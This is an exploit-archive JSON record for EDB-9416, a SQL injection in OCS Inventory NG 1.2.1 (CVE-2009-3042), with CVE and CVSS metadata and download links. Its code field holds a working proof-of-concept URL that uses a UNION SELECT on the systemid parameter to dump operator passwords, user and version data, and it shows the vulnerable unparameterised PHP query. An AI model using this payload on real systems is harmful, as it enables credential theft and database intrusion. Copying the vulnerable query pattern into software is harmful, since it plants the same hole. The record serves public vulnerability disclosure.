{"exploit":{"id":"EDB-9416","name":"OCS Inventory NG 1.2.1 - 'systemid' SQL Injection (SQLi)","description":"OCS Inventory NG 1.2.1 - 'systemid' SQL Injection (SQLi)","cves":["CVE-2009-3042"],"author":"Guilherme Marinheiro","published":"2009-08-11","platform":"php","type":"webapps","language":"Text","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/9416","path":"exploits/php/webapps/9416.txt","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-9416.txt","vulnerabilities":[{"id":"CVE-2009-3042","state":"PUBLISHED","title":null,"titleSource":null,"description":"SQL injection vulnerability in machine.php in Open Computer and Software (OCS) Inventory NG 1.02.1 allows remote attackers to execute arbitrary SQL commands via the systemid parameter, a different vector than CVE-2009-3040.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2009-3042","cvss":{"version":"2.0","baseScore":7.5,"severity":"high","vectorString":"AV:N/AC:L/Au:N/C:P/I:P/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2009-3042"},"updatedAt":"2024-08-07T06:14:56.340Z","retrievedAt":"2026-11-27T09:10:33.471Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-9416.png?v=2","url":"https://exploitbin.com/exploits/EDB-9416","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-9416/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-9416/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"OCS Inventory NG Server 1.2.1\n\nDetails:\n\nThe Open Computer and Software (OCS) Inventory Next Generation (NG)\nprovides relevant inventory information about system configurations and\nsoftware on the network.\n\n Download : http://www.ocsinventory-ng.org/index.php?page=1-02-1\n Found by : Guilherme Marinheiro\n Contact : gmcbr0@gmail.com\n Prequisite: Authenticated user\n Remote exploitable:Yes (Authentication is needed)\n\nPoC :\nhttp://localhost/ocsreports/machine.php?systemid=1)%20union%20select%201,2,user(),3,5,6,7,8,9,10,11,12,passwd,14,15,16,17,18,id,20,21,22,23,24,25,26,27,27,version()%20from%20operators%20--\n\nVulnerable Code:\n\nscript: machine.php\n\n77 $queryMachine    = \"SELECT * FROM hardware WHERE (ID=$systemid)\";\n78 $result   = mysql_query( $queryMachine, $_SESSION[\"readServer\"] ) or mysql_error($_SESSION[\"readServer\"]);\n79 $item     = mysql_fetch_object($result);\n\n# milw0rm.com [2009-08-11]","sha256":"e2a230054c01b3708d236d3338d043ac8c2679591c83c283ae31faef7ed37d98","bytes":902,"fetchedAt":"2026-11-27T09:10:33.217Z","encoding":"utf-8 (display only; download retains original bytes)"}